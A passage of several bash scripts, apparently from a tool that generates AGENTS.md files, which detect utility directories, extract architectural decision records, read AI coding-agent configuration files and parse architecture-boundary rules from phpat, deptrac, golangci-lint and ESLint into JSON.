AGENTS.md IS a scope, whatever the # language heuristics above concluded. Detection knows a fixed set of # directory names; a project may reasonably keep a scoped file somewhere else # (TYPO3 `Configuration/`, for one). Leaving such a file out of the root index # means an agent reading the root never learns it exists — the precedence rule # the index exists to serve silently stops working, and nothing reports it. while IFS= read -r existing; do [ -n "$existing" ] || continue dir="${existing%/AGENTS.md}" dir="${dir#./}" case "$dir" in "" | "." | "AGENTS.md") continue ;; # the root file itself esac # `${scopes[@]}` on an empty array counts as unset under `set -u` before # bash 4.4, and this loop is reached with nothing detected yet whenever a # project's only scoped file sits in an unrecognised directory. for known in ${scopes[@]+"${scopes[@]}"}; do [ "$(printf '%s' "$known" | jq -r '.path')" = "$dir" ] && continue 2 done count=$(find "$dir" -maxdepth 1 -type f 2>/dev/null | wc -l | tr -d ' ') add_scope "$dir" "existing" "$count" done < <(find . -name AGENTS.md -not -path './.git/*' -not -path './node_modules/*' \ -not -path './vendor/*' -not -path './.Build/*' 2>/dev/null | sort) if [ ${#scopes[@]} -eq 0 ]; then echo '{"scopes": []}' else # Join scopes with commas via explicit loop — avoids IFS= entirely # (the opengrep bash.lang.security.ifs-tampering rule flags any # IFS= assignment, even inside subshells). joined="${scopes[0]}" for ((i=1; i<${#scopes[@]}; i++)); do joined+=",${scopes[i]}" done echo "{\"scopes\": [$joined]}" fi -
detect-utilities.sh 4.3 KB
#!/usr/bin/env bash # Detect utility files and libraries to prevent reinvention set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Check if git is available if ! git rev-parse --git-dir > /dev/null 2>&1; then echo "" exit 0 fi # Get project language PROJECT_INFO=$(bash "$(dirname "$0")/detect-project.sh" "$PROJECT_DIR" 2>/dev/null || echo '{"language":"unknown"}') LANGUAGE=$(echo "$PROJECT_INFO" | jq -r '.language') # Common utility directory names UTIL_DIRS=("utils" "util" "helpers" "helper" "lib" "shared" "common" "pkg") # Find utility directories find_util_dirs() { for dir in "${UTIL_DIRS[@]}"; do [ -d "$dir" ] && echo "$dir" [ -d "src/$dir" ] && echo "src/$dir" [ -d "internal/$dir" ] && echo "internal/$dir" done } # Extract exports from TypeScript index file extract_ts_exports() { local file="$1" grep -oE "export \{ [^}]+ \}" "$file" 2>/dev/null | \ sed 's/export { //; s/ }//; s/,/\n/g' | \ tr -d ' ' | head -10 } # Extract function names from Go file extract_go_exports() { local dir="$1" find "$dir" -name "*.go" -type f 2>/dev/null | while read -r file; do grep -oE "^func [A-Z][a-zA-Z0-9_]*" "$file" 2>/dev/null | \ sed 's/func //' | head -5 done | sort -u | head -10 } # Extract function names from Python file extract_py_exports() { local dir="$1" find "$dir" -name "*.py" ! -name "__*" -type f 2>/dev/null | while read -r file; do grep -oE "^def [a-z_][a-z0-9_]*" "$file" 2>/dev/null | \ sed 's/def //' | head -5 done | sort -u | head -10 } # Infer utility purpose from name infer_purpose() { local name="$1" case "$name" in *date*|*time*|*format*Date*) echo "date/time formatting" ;; *http*|*fetch*|*api*|*client*) echo "HTTP requests" ;; *log*) echo "logging" ;; *valid*|*check*) echo "validation" ;; *parse*) echo "parsing" ;; *format*) echo "formatting" ;; *error*) echo "error handling" ;; *auth*|*token*) echo "authentication" ;; *cache*) echo "caching" ;; *config*) echo "configuration" ;; *string*|*str*) echo "string manipulation" ;; *file*|*path*) echo "file operations" ;; *) echo "utility" ;; esac } # Generate output output="" while IFS= read -r dir; do [ -z "$dir" ] && continue case "$LANGUAGE" in "typescript") # Check for index.ts barrel export if [ -f "$dir/index.ts" ]; then while IFS= read -r export; do [ -z "$export" ] && continue purpose=$(infer_purpose "$export") output="$output| $purpose | \`$export\` | \`$dir/\` |\n" done < <(extract_ts_exports "$dir/index.ts") fi ;; "go") while IFS= read -r func; do [ -z "$func" ] && continue purpose=$(infer_purpose "$func") output="$output| $purpose | \`$func\` | \`$dir/\` |\n" done < <(extract_go_exports "$dir") ;; "python") while IFS= read -r func; do [ -z "$func" ] && continue purpose=$(infer_purpose "$func") output="$output| $purpose | \`$func\` | \`$dir/\` |\n" done < <(extract_py_exports "$dir") ;; "php") # List PHP utility classes while read -r file; do class=$(grep -oE "class [A-Z][a-zA-Z0-9_]+" "$file" 2>/dev/null | head -1 | sed 's/class //') [ -n "$class" ] && { purpose=$(infer_purpose "$class") relpath="${file#./}" output="$output| $purpose | \`$class\` | \`$relpath\` |\n" } done < <(find "$dir" -name "*.php" -type f 2>/dev/null | head -20) ;; esac done < <(find_util_dirs) # Check for common utility files at root or src for util_file in "utils.ts" "utils.js" "helpers.ts" "helpers.js" "utils.py" "helpers.py"; do for prefix in "" "src/"; do file="${prefix}${util_file}" [ -f "$file" ] && output="$output| utilities | \`$file\` | \`$file\` |\n" done done # Output (remove empty lines, duplicates) echo -e "$output" | sed '/^$/d' | sort -u | head -15 -
extract-adrs.sh 6.8 KB
#!/usr/bin/env bash # Extract Architectural Decision Records (ADRs) from common locations # Returns JSON with ADR metadata for AGENTS.md generation set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Common ADR directory locations ADR_DIRS=( "docs/adr" "docs/adrs" "docs/decisions" "docs/architecture/decisions" "Documentation/ADR" "Documentation/Decisions" "adr" "ADR" ) # Find the first existing ADR directory ADR_DIR="" for dir in "${ADR_DIRS[@]}"; do if [ -d "$dir" ]; then ADR_DIR="$dir" break fi done # If no ADR directory found, check for standalone ADR files in docs/ if [ -z "$ADR_DIR" ]; then # Look for ADR-named files anywhere in docs/ if [ -d "docs" ]; then adr_file=$(find docs -maxdepth 2 -type f \( -name "ADR-*.md" -o -name "adr-*.md" -o -name "*-adr-*.md" -o -name "ADR*.rst" \) 2>/dev/null | head -1) if [ -n "$adr_file" ]; then ADR_DIR=$(dirname "$adr_file") fi fi fi # No ADRs found if [ -z "$ADR_DIR" ]; then jq -n '{adr_count: 0, adr_directory: null, adrs: []}' exit 0 fi # Collect ADR files ADR_FILES=() while IFS= read -r -d '' file; do ADR_FILES+=("$file") done < <(find "$ADR_DIR" -maxdepth 1 -type f \( -name "ADR-*.md" -o -name "adr-*.md" -o -name "*-adr-*.md" -o -name "ADR*.rst" -o -name "adr*.rst" -o -name "*.md" \) -print0 2>/dev/null | sort -z) # Deduplicate and filter — only include files that look like ADRs FILTERED_FILES=() for file in "${ADR_FILES[@]}"; do basename=$(basename "$file") # Accept files with ADR in the name, or numbered files (common ADR pattern like 0001-*.md) if [[ "$basename" =~ ^[Aa][Dd][Rr][-_] ]] || [[ "$basename" =~ ^[0-9]{3,4}[-_] ]] || [[ "$basename" =~ -[Aa][Dd][Rr][-_] ]]; then FILTERED_FILES+=("$file") fi done if [ ${#FILTERED_FILES[@]} -eq 0 ]; then jq -n --arg dir "$ADR_DIR" '{adr_count: 0, adr_directory: $dir, adrs: []}' exit 0 fi # Extract metadata from each ADR ADRS_JSON="[]" for file in "${FILTERED_FILES[@]}"; do filename=$(basename "$file") # Read file content content=$(cat "$file" 2>/dev/null) || continue [ -z "$content" ] && continue # Extract title: first heading (# or ##) title="" while IFS= read -r line; do if [[ "$line" =~ ^#{1,2}[[:space:]]+(.*) ]]; then title="${BASH_REMATCH[1]}" # Strip leading ADR number prefix like "ADR-001:" or "ADR 1:" title=$(echo "$title" | sed -E 's/^ADR[-_ ]?[0-9]+:?\s*//i') break fi done <<< "$content" [ -z "$title" ] && title="$filename" # Extract status: look for "Status:" line or **Status** pattern status="Unknown" while IFS= read -r line; do # Match patterns like "## Status", then read next non-empty line if [[ "$line" =~ ^#{1,3}[[:space:]]+[Ss]tatus ]]; then # Read lines after the status heading to find the actual status found_heading=false while IFS= read -r sline; do if [ "$found_heading" = false ]; then found_heading=true continue fi # Skip empty lines [[ -z "${sline// /}" ]] && continue # Extract the status value # shellcheck disable=SC2016 # sed script: the backticks and # asterisks are literal regex, not shell expansions. sline=$(echo "$sline" | sed -E 's/^\*\*//;s/\*\*.*$//;s/^- //;s/^`//;s/`$//') if [[ "$sline" =~ ^(Accepted|Proposed|Deprecated|Superseded|Rejected|Draft|Approved) ]]; then status="${BASH_REMATCH[1]}" fi break done break fi # Match inline patterns: "**Status**: Accepted", "**Status:** Accepted", "Status: Accepted" if [[ "$line" =~ \*?\*?[Ss]tatus\*?\*?:?[[:space:]]*(Accepted|Proposed|Deprecated|Superseded|Rejected|Draft|Approved) ]]; then status="${BASH_REMATCH[1]}" break fi done <<< "$content" # Extract summary: first paragraph after Context heading, or first paragraph after title summary="" # Try "Context" section first in_context=false while IFS= read -r line; do if [[ "$line" =~ ^#{1,3}[[:space:]]+(Context|Background) ]]; then in_context=true continue fi if [ "$in_context" = true ]; then [[ -z "${line// /}" ]] && continue # Stop at next heading [[ "$line" =~ ^# ]] && break # Take the first non-empty, non-heading line summary=$(echo "$line" | sed -E 's/^\*\*//;s/\*\*$//;s/^- //') # Truncate to ~120 chars if [ ${#summary} -gt 120 ]; then summary="${summary:0:117}..." fi break fi done <<< "$content" # Fallback: first paragraph after title if [ -z "$summary" ]; then past_title=false while IFS= read -r line; do if [[ "$line" =~ ^# ]] && [ "$past_title" = false ]; then past_title=true continue fi if [ "$past_title" = true ]; then [[ -z "${line// /}" ]] && continue [[ "$line" =~ ^# ]] && break [[ "$line" =~ ^[*-][[:space:]] ]] && continue summary=$(echo "$line" | sed -E 's/^\*\*//;s/\*\*$//;s/^- //') if [ ${#summary} -gt 120 ]; then summary="${summary:0:117}..." fi break fi done <<< "$content" fi # Extract decision: look for "Decision" section decision="" in_decision=false while IFS= read -r line; do if [[ "$line" =~ ^#{1,3}[[:space:]]+(Decision|Resolution) ]]; then in_decision=true continue fi if [ "$in_decision" = true ]; then [[ -z "${line// /}" ]] && continue [[ "$line" =~ ^# ]] && break [[ "$line" =~ ^\`\`\` ]] && break decision=$(echo "$line" | sed -E 's/^\*\*//;s/\*\*$//;s/^- //') if [ ${#decision} -gt 150 ]; then decision="${decision:0:147}..." fi break fi done <<< "$content" # Build JSON entry ADRS_JSON=$(echo "$ADRS_JSON" | jq \ --arg file "$filename" \ --arg title "$title" \ --arg status "$status" \ --arg summary "$summary" \ --arg decision "$decision" \ '. + [{file: $file, title: $title, status: $status, summary: $summary, decision: $decision}]') done # Output final JSON ADR_COUNT=$(echo "$ADRS_JSON" | jq 'length') jq -n \ --argjson count "$ADR_COUNT" \ --arg dir "$ADR_DIR" \ --argjson adrs "$ADRS_JSON" \ '{adr_count: $count, adr_directory: $dir, adrs: $adrs}' -
extract-agent-configs.sh 9.2 KB
#!/usr/bin/env bash # Extract information from AI coding agent configuration files set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Extract content from markdown-based instructions extract_md_instructions() { local file="$1" local max_lines="${2:-50}" if [ ! -f "$file" ]; then echo "" return fi # Get content, skip frontmatter if present awk ' BEGIN { in_frontmatter=0; started=0 } /^---$/ && !started { in_frontmatter=!in_frontmatter; next } !in_frontmatter { started=1; print } ' "$file" | head -"$max_lines" } # Extract rules from various formats extract_rules() { local file="$1" local rules=() if [ ! -f "$file" ]; then echo "[]" return fi # Extract bullet points or lines that look like rules while IFS= read -r line; do # Clean up the line line=$(echo "$line" | sed 's/^[[:space:]]*[-*][[:space:]]*//' | sed 's/[[:space:]]*$//') # Keep lines that look like rules (not empty, reasonable length) if [ -n "$line" ] && [ ${#line} -gt 5 ] && [ ${#line} -lt 500 ]; then rules+=("$line") fi done < <(grep -E '^[[:space:]]*[-*][[:space:]]' "$file" 2>/dev/null | head -30 || true) if [ ${#rules[@]} -eq 0 ]; then echo "[]" else printf '%s\n' "${rules[@]}" | jq -R . | jq -s . fi } # Parse Cursor settings/rules parse_cursor() { local cursor_dir=".cursor" if [ ! -d "$cursor_dir" ]; then echo "{}" return fi local rules_file="" local rules_content="[]" local settings_file="" local model="" # Note: context_files would be used for extracting @file references but not yet implemented # Check for rules files for f in "$cursor_dir/rules" "$cursor_dir/rules.md" "$cursor_dir/.cursorrules"; do if [ -f "$f" ]; then rules_file="$f" rules_content=$(extract_rules "$f") break fi done # Also check root .cursorrules if [ -z "$rules_file" ] && [ -f ".cursorrules" ]; then rules_file=".cursorrules" rules_content=$(extract_rules ".cursorrules") fi # Check for settings if [ -f "$cursor_dir/settings.json" ]; then settings_file="$cursor_dir/settings.json" model=$(jq -r '.model // ""' "$settings_file" 2>/dev/null || echo "") fi jq -n \ --arg rules_file "$rules_file" \ --argjson rules "$rules_content" \ --arg settings_file "$settings_file" \ --arg model "$model" \ '{ rules_file: $rules_file, rules: $rules, settings_file: $settings_file, model: $model } | with_entries(select(.value != "" and .value != []))' } # Parse Claude Code config parse_claude() { local claude_dir=".claude" local instructions_file="" local instructions="" local settings_file="" local model="" # Check for CLAUDE.md in various locations for f in "CLAUDE.md" "$claude_dir/CLAUDE.md" "$claude_dir/settings/CLAUDE.md"; do if [ -f "$f" ]; then instructions_file="$f" instructions=$(extract_md_instructions "$f" 30) break fi done # Check for settings.json if [ -f "$claude_dir/settings.json" ]; then settings_file="$claude_dir/settings.json" model=$(jq -r '.model // ""' "$settings_file" 2>/dev/null || echo "") fi # Check for .claude.json in root if [ -z "$settings_file" ] && [ -f ".claude.json" ]; then settings_file=".claude.json" model=$(jq -r '.model // ""' "$settings_file" 2>/dev/null || echo "") fi jq -n \ --arg instructions_file "$instructions_file" \ --arg instructions "$instructions" \ --arg settings_file "$settings_file" \ --arg model "$model" \ '{ instructions_file: $instructions_file, instructions_preview: $instructions, settings_file: $settings_file, model: $model } | with_entries(select(.value != "" and .value != []))' } # Parse GitHub Copilot config parse_copilot() { local instructions_file="" local instructions="" # Check for copilot instructions for f in ".github/copilot-instructions.md" "copilot-instructions.md"; do if [ -f "$f" ]; then instructions_file="$f" instructions=$(extract_md_instructions "$f" 30) break fi done jq -n \ --arg instructions_file "$instructions_file" \ --arg instructions "$instructions" \ '{ instructions_file: $instructions_file, instructions_preview: $instructions } | with_entries(select(.value != ""))' } # Parse Windsurf config parse_windsurf() { local windsurf_dir=".windsurf" if [ ! -d "$windsurf_dir" ]; then echo "{}" return fi local rules_file="" local rules_content="[]" # Check for rules/instructions for f in "$windsurf_dir/rules.md" "$windsurf_dir/instructions.md" "$windsurf_dir/.windsurfrules"; do if [ -f "$f" ]; then rules_file="$f" rules_content=$(extract_rules "$f") break fi done jq -n \ --arg rules_file "$rules_file" \ --argjson rules "$rules_content" \ '{ rules_file: $rules_file, rules: $rules } | with_entries(select(.value != "" and .value != []))' } # Parse Aider config parse_aider() { local config_file="" local model="" local conventions="" # Check for aider config files for f in ".aider.conf.yml" ".aider.conf.yaml" ".aider/config.yml"; do if [ -f "$f" ]; then config_file="$f" # Extract model if present model=$(grep -E '^model:' "$f" 2>/dev/null | sed 's/model:[[:space:]]*//' | head -1 || echo "") break fi done # Check for conventions file if [ -f ".aider/CONVENTIONS.md" ]; then conventions=".aider/CONVENTIONS.md" fi jq -n \ --arg config_file "$config_file" \ --arg model "$model" \ --arg conventions "$conventions" \ '{ config_file: $config_file, model: $model, conventions_file: $conventions } | with_entries(select(.value != ""))' } # Parse Continue config parse_continue() { local continue_dir=".continue" if [ ! -d "$continue_dir" ]; then echo "{}" return fi local config_file="" local models="[]" # Check for config files for f in "$continue_dir/config.json" "$continue_dir/config.yaml"; do if [ -f "$f" ]; then config_file="$f" if [[ "$f" == *.json ]]; then models=$(jq '[.models[]? | .title // .model] // []' "$f" 2>/dev/null || echo "[]") fi break fi done jq -n \ --arg config_file "$config_file" \ --argjson models "$models" \ '{ config_file: $config_file, configured_models: $models } | with_entries(select(.value != "" and .value != []))' } # Parse Cody (Sourcegraph) config parse_cody() { local cody_file="" local model="" # Check for cody config for f in ".sourcegraph/cody.json" ".cody/config.json"; do if [ -f "$f" ]; then cody_file="$f" model=$(jq -r '.model // ""' "$f" 2>/dev/null || echo "") break fi done jq -n \ --arg config_file "$cody_file" \ --arg model "$model" \ '{ config_file: $config_file, model: $model } | with_entries(select(.value != ""))' } # Detect which agents are configured AGENTS=() { [ -d ".cursor" ] || [ -f ".cursorrules" ]; } && AGENTS+=("cursor") { [ -d ".claude" ] || [ -f "CLAUDE.md" ]; } && AGENTS+=("claude") { [ -f ".github/copilot-instructions.md" ] || [ -f "copilot-instructions.md" ]; } && AGENTS+=("copilot") [ -d ".windsurf" ] && AGENTS+=("windsurf") { [ -d ".aider" ] || [ -f ".aider.conf.yml" ] || [ -f ".aider.conf.yaml" ]; } && AGENTS+=("aider") [ -d ".continue" ] && AGENTS+=("continue") { [ -d ".codeium" ]; } && AGENTS+=("codeium") { [ -d ".tabnine" ]; } && AGENTS+=("tabnine") { [ -d ".sourcegraph" ] || [ -f ".sourcegraph/cody.json" ]; } && AGENTS+=("cody") # Build agents list JSON if [ ${#AGENTS[@]} -eq 0 ]; then AGENTS_JSON="[]" else AGENTS_JSON=$(printf '%s\n' "${AGENTS[@]}" | jq -R . | jq -s .) fi # Extract configs for detected agents CURSOR_CONFIG=$(parse_cursor) CLAUDE_CONFIG=$(parse_claude) COPILOT_CONFIG=$(parse_copilot) WINDSURF_CONFIG=$(parse_windsurf) AIDER_CONFIG=$(parse_aider) CONTINUE_CONFIG=$(parse_continue) CODY_CONFIG=$(parse_cody) # Build final JSON output jq -n \ --argjson detected "$AGENTS_JSON" \ --argjson cursor "$CURSOR_CONFIG" \ --argjson claude "$CLAUDE_CONFIG" \ --argjson copilot "$COPILOT_CONFIG" \ --argjson windsurf "$WINDSURF_CONFIG" \ --argjson aider "$AIDER_CONFIG" \ --argjson continue_config "$CONTINUE_CONFIG" \ --argjson cody "$CODY_CONFIG" \ '{ detected_agents: $detected, cursor: $cursor, claude: $claude, copilot: $copilot, windsurf: $windsurf, aider: $aider, continue: $continue_config, cody: $cody }' -
extract-architecture-rules.sh 19.9 KB
#!/usr/bin/env bash # Extract module boundary rules from architecture test frameworks # Supports: phpat, deptrac, Go conventions, ESLint import rules, golangci-lint depguard set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Collect results into arrays/objects, then assemble JSON at the end FRAMEWORK="" RULES="[]" INTERNAL_PACKAGES="[]" LAYER_DEFINITIONS="{}" # --- phpat (PHP Architecture Tester) --- parse_phpat() { local found=false # Find phpat test files local phpat_files=() for dir in tests/Architecture Tests/Architecture tests/architecture; do if [ -d "$dir" ]; then while IFS= read -r f; do phpat_files+=("$f") done < <(find "$dir" -name "*.php" -type f 2>/dev/null) fi done # Also check phpat config files local phpat_config="" for f in phpat.yaml phpat.neon phpat.yml; do [ -f "$f" ] && phpat_config="$f" && break done if [ ${#phpat_files[@]} -eq 0 ] && [ -z "$phpat_config" ]; then return 1 fi found=true FRAMEWORK="phpat" local rules_arr="[]" # Parse PHP test files for rule patterns for file in "${phpat_files[@]}"; do # Match shouldNotDependOn patterns # e.g. classesThat(Selector::haveClassName('*Controller*'))->shouldNotDependOn(Selector::haveClassName('*Repository*')) while IFS= read -r line; do local source="" local target="" # Extract source from classesThat / classesInNamespace / haveClassName if [[ "$line" =~ classesThat\(.*haveClassName\([\'\"]\*?([A-Za-z]+)\*?[\'\"]\) ]]; then source="${BASH_REMATCH[1]}" elif [[ "$line" =~ classesInNamespace\([\'\"](.*)[\'\"]\) ]]; then source="${BASH_REMATCH[1]}" elif [[ "$line" =~ classesThat\(.*classesInNamespace\([\'\"](.*)[\'\"]\) ]]; then source="${BASH_REMATCH[1]}" fi # Determine rule type and target local rule_type="" if [[ "$line" =~ shouldNotDependOn ]]; then rule_type="must_not_depend" if [[ "$line" =~ shouldNotDependOn\(.*haveClassName\([\'\"]\*?([A-Za-z]+)\*?[\'\"]\) ]]; then target="${BASH_REMATCH[1]}" elif [[ "$line" =~ shouldNotDependOn\(.*classesInNamespace\([\'\"](.*)[\'\"]\) ]]; then target="${BASH_REMATCH[1]}" fi elif [[ "$line" =~ shouldOnlyDependOn ]]; then rule_type="must_only_depend" if [[ "$line" =~ shouldOnlyDependOn\(.*haveClassName\([\'\"]\*?([A-Za-z]+)\*?[\'\"]\) ]]; then target="${BASH_REMATCH[1]}" elif [[ "$line" =~ shouldOnlyDependOn\(.*classesInNamespace\([\'\"](.*)[\'\"]\) ]]; then target="${BASH_REMATCH[1]}" fi elif [[ "$line" =~ mustNotDependOn ]]; then rule_type="must_not_depend" if [[ "$line" =~ mustNotDependOn\(.*haveClassName\([\'\"]\*?([A-Za-z]+)\*?[\'\"]\) ]]; then target="${BASH_REMATCH[1]}" fi fi if [ -n "$source" ] && [ -n "$target" ] && [ -n "$rule_type" ]; then rules_arr=$(echo "$rules_arr" | jq \ --arg s "$source" --arg t "$target" --arg rt "$rule_type" \ '. + [{"source": $s, "target": $t, "type": $rt}]') fi done < <(grep -E 'shouldNotDependOn|shouldOnlyDependOn|mustNotDependOn' "$file" 2>/dev/null || true) # Match canOnlyBeAccessedBy patterns while IFS= read -r line; do local target="" local source="" if [[ "$line" =~ haveClassName\([\'\"]\*?([A-Za-z]+)\*?[\'\"]\).*canOnlyBeAccessedBy ]]; then target="${BASH_REMATCH[1]}" fi if [[ "$line" =~ canOnlyBeAccessedBy\(.*haveClassName\([\'\"]\*?([A-Za-z]+)\*?[\'\"]\) ]]; then source="${BASH_REMATCH[1]}" fi if [ -n "$source" ] && [ -n "$target" ]; then rules_arr=$(echo "$rules_arr" | jq \ --arg s "$source" --arg t "$target" \ '. + [{"source": $s, "target": $t, "type": "can_only_access"}]') fi done < <(grep -E 'canOnlyBeAccessedBy' "$file" 2>/dev/null || true) done # Parse phpat YAML/NEON config if [ -n "$phpat_config" ]; then # Extract rules from YAML config (simplified parsing) while IFS= read -r line; do if [[ "$line" =~ ^[[:space:]]*-[[:space:]]*(.+)[[:space:]]+should_not_depend_on[[:space:]]+(.+) ]]; then rules_arr=$(echo "$rules_arr" | jq \ --arg s "${BASH_REMATCH[1]}" --arg t "${BASH_REMATCH[2]}" \ '. + [{"source": $s, "target": $t, "type": "must_not_depend"}]') fi done < "$phpat_config" fi RULES="$rules_arr" return 0 } # --- deptrac (PHP dependency checker) --- parse_deptrac() { local config_file="" for f in deptrac.yaml depfile.yaml deptrac.yml depfile.yml; do [ -f "$f" ] && config_file="$f" && break done [ -z "$config_file" ] && return 1 FRAMEWORK="deptrac" local rules_arr="[]" local layers_obj="{}" # Parse layer definitions local in_layers=false local current_layer="" local layer_collectors=() while IFS= read -r line; do # Detect layers section if [[ "$line" =~ ^layers: ]]; then in_layers=true continue fi # End of layers section (next top-level key) if $in_layers && [[ "$line" =~ ^[a-z] && ! "$line" =~ ^[[:space:]] ]]; then in_layers=false # Save last layer if [ -n "$current_layer" ] && [ ${#layer_collectors[@]} -gt 0 ]; then local collectors_json collectors_json=$(printf '%s\n' "${layer_collectors[@]}" | jq -R . | jq -s .) layers_obj=$(echo "$layers_obj" | jq --arg l "$current_layer" --argjson c "$collectors_json" '. + {($l): $c}') fi continue fi if $in_layers; then # Layer name if [[ "$line" =~ ^[[:space:]]*-[[:space:]]*name:[[:space:]]*(.+) ]]; then # Save previous layer if [ -n "$current_layer" ] && [ ${#layer_collectors[@]} -gt 0 ]; then local collectors_json collectors_json=$(printf '%s\n' "${layer_collectors[@]}" | jq -R . | jq -s .) layers_obj=$(echo "$layers_obj" | jq --arg l "$current_layer" --argjson c "$collectors_json" '. + {($l): $c}') fi current_layer=$(echo "${BASH_REMATCH[1]}" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//') layer_collectors=() fi # Collector value (directory or className) if [[ "$line" =~ value:[[:space:]]*(.+) ]]; then layer_collectors+=("$(echo "${BASH_REMATCH[1]}" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')") fi fi done < "$config_file" # Save last layer if [ -n "$current_layer" ] && [ ${#layer_collectors[@]} -gt 0 ]; then local collectors_json collectors_json=$(printf '%s\n' "${layer_collectors[@]}" | jq -R . | jq -s .) layers_obj=$(echo "$layers_obj" | jq --arg l "$current_layer" --argjson c "$collectors_json" '. + {($l): $c}') fi LAYER_DEFINITIONS="$layers_obj" # Parse ruleset (which layers can depend on which) local in_ruleset=false local current_source="" while IFS= read -r line; do if [[ "$line" =~ ^ruleset: ]]; then in_ruleset=true continue fi if $in_ruleset && [[ "$line" =~ ^[a-z] && ! "$line" =~ ^[[:space:]] ]]; then in_ruleset=false continue fi if $in_ruleset; then # Source layer if [[ "$line" =~ ^[[:space:]]+([A-Za-z_]+): ]]; then current_source="${BASH_REMATCH[1]}" fi # Allowed target if [[ "$line" =~ ^[[:space:]]*-[[:space:]]*([A-Za-z_]+) ]] && [ -n "$current_source" ]; then local target="${BASH_REMATCH[1]}" if [ "$target" != "$current_source" ]; then rules_arr=$(echo "$rules_arr" | jq \ --arg s "$current_source" --arg t "$target" \ '. + [{"source": $s, "target": $t, "type": "may_depend"}]') fi fi fi done < "$config_file" RULES="$rules_arr" return 0 } # --- Go architecture conventions --- parse_go_architecture() { # Only for Go projects [ ! -f "go.mod" ] && return 1 local found_anything=false local internal_pkgs="[]" local rules_arr="[]" # Check for internal/ directories (Go compiler-enforced boundaries) if [ -d "internal" ]; then found_anything=true while IFS= read -r dir; do local rel_path="${dir#./}" internal_pkgs=$(echo "$internal_pkgs" | jq --arg p "$rel_path" '. + [$p]') done < <(find ./internal -mindepth 1 -maxdepth 2 -type d 2>/dev/null) # If no subdirs, just list internal itself if [ "$(echo "$internal_pkgs" | jq 'length')" = "0" ]; then internal_pkgs='["internal"]' fi fi # Check for depguard rules in golangci-lint config local golangci_config="" for f in .golangci.yml .golangci.yaml; do [ -f "$f" ] && golangci_config="$f" && break done if [ -n "$golangci_config" ]; then # Parse depguard deny rules local in_depguard=false local in_deny=false local current_pkg="" local current_desc="" while IFS= read -r line; do if [[ "$line" =~ ^[[:space:]]*depguard: ]]; then in_depguard=true continue fi # Exit depguard section on next top-level setting if $in_depguard && [[ "$line" =~ ^[[:space:]]{4}[a-z] && ! "$line" =~ ^[[:space:]]{6} && ! "$line" =~ deny && ! "$line" =~ rules && ! "$line" =~ main ]]; then in_depguard=false in_deny=false continue fi if $in_depguard && [[ "$line" =~ deny: ]]; then in_deny=true continue fi if $in_depguard && $in_deny; then if [[ "$line" =~ ^[[:space:]]*-[[:space:]]*pkg:[[:space:]]*(.+) ]]; then current_pkg=$(echo "${BASH_REMATCH[1]}" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//') found_anything=true fi if [[ "$line" =~ desc:[[:space:]]*(.+) ]]; then current_desc=$(echo "${BASH_REMATCH[1]}" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//') if [ -n "$current_pkg" ]; then rules_arr=$(echo "$rules_arr" | jq \ --arg s "*" --arg t "$current_pkg" --arg rt "must_not_depend" --arg d "$current_desc" \ '. + [{"source": $s, "target": $t, "type": $rt, "reason": $d}]') current_pkg="" current_desc="" fi fi fi done < "$golangci_config" # Parse gomodguard if present local in_gomodguard=false local in_blocked=false while IFS= read -r line; do if [[ "$line" =~ ^[[:space:]]*gomodguard: ]]; then in_gomodguard=true continue fi if $in_gomodguard && [[ "$line" =~ blocked: ]]; then in_blocked=true continue fi if $in_gomodguard && $in_blocked; then if [[ "$line" =~ ^[[:space:]]*-[[:space:]]*pkg:[[:space:]]*(.+) ]]; then local blocked_pkg blocked_pkg=$(echo "${BASH_REMATCH[1]}" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//') rules_arr=$(echo "$rules_arr" | jq \ --arg s "*" --arg t "$blocked_pkg" --arg rt "must_not_depend" \ '. + [{"source": $s, "target": $t, "type": $rt}]') found_anything=true fi fi # Exit gomodguard on next top-level setting if $in_gomodguard && [[ "$line" =~ ^[[:space:]]{4}[a-z] && ! "$line" =~ blocked && ! "$line" =~ modules && ! "$line" =~ versions ]]; then in_gomodguard=false in_blocked=false fi done < "$golangci_config" # Parse forbidigo patterns (banned function calls) local in_forbidigo=false local in_forbid=false while IFS= read -r line; do if [[ "$line" =~ ^[[:space:]]*forbidigo: ]]; then in_forbidigo=true continue fi if $in_forbidigo && [[ "$line" =~ forbid: ]]; then in_forbid=true continue fi if $in_forbidigo && $in_forbid; then if [[ "$line" =~ pattern:[[:space:]]*(.+) ]]; then local pattern pattern=$(echo "${BASH_REMATCH[1]}" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//;s/[\^$]//g') rules_arr=$(echo "$rules_arr" | jq \ --arg s "*" --arg t "$pattern" --arg rt "forbidden_call" \ '. + [{"source": $s, "target": $t, "type": $rt}]') found_anything=true fi fi if $in_forbidigo && [[ "$line" =~ ^[[:space:]]{4}[a-z] && ! "$line" =~ forbid && ! "$line" =~ pattern ]]; then in_forbidigo=false in_forbid=false fi done < "$golangci_config" fi # Detect directory-based architecture patterns local arch_pattern="" if [ -d "ports" ] && [ -d "adapters" ]; then arch_pattern="hexagonal" found_anything=true elif [ -d "domain" ] && [ -d "infrastructure" ]; then arch_pattern="clean-architecture" found_anything=true elif [ -d "cmd" ] && [ -d "pkg" ]; then arch_pattern="go-standard-layout" found_anything=true fi if [ -n "$arch_pattern" ]; then LAYER_DEFINITIONS=$(echo "$LAYER_DEFINITIONS" | jq --arg p "$arch_pattern" '. + {"architecture_pattern": $p}') fi $found_anything || return 1 [ -z "$FRAMEWORK" ] && FRAMEWORK="go-conventions" RULES="$rules_arr" INTERNAL_PACKAGES="$internal_pkgs" return 0 } # --- ESLint import restrictions --- parse_eslint_imports() { local config_file="" for f in eslint.config.js eslint.config.mjs .eslintrc.js .eslintrc.cjs .eslintrc.json .eslintrc.yml .eslintrc.yaml .eslintrc; do [ -f "$f" ] && config_file="$f" && break done [ -z "$config_file" ] && return 1 local rules_arr="[]" local found=false # For JSON eslint configs, extract import/no-restricted-paths or no-restricted-imports if [[ "$config_file" == *.json ]] || [[ "$config_file" == .eslintrc ]]; then # Check for no-restricted-imports local restricted restricted=$(jq -r 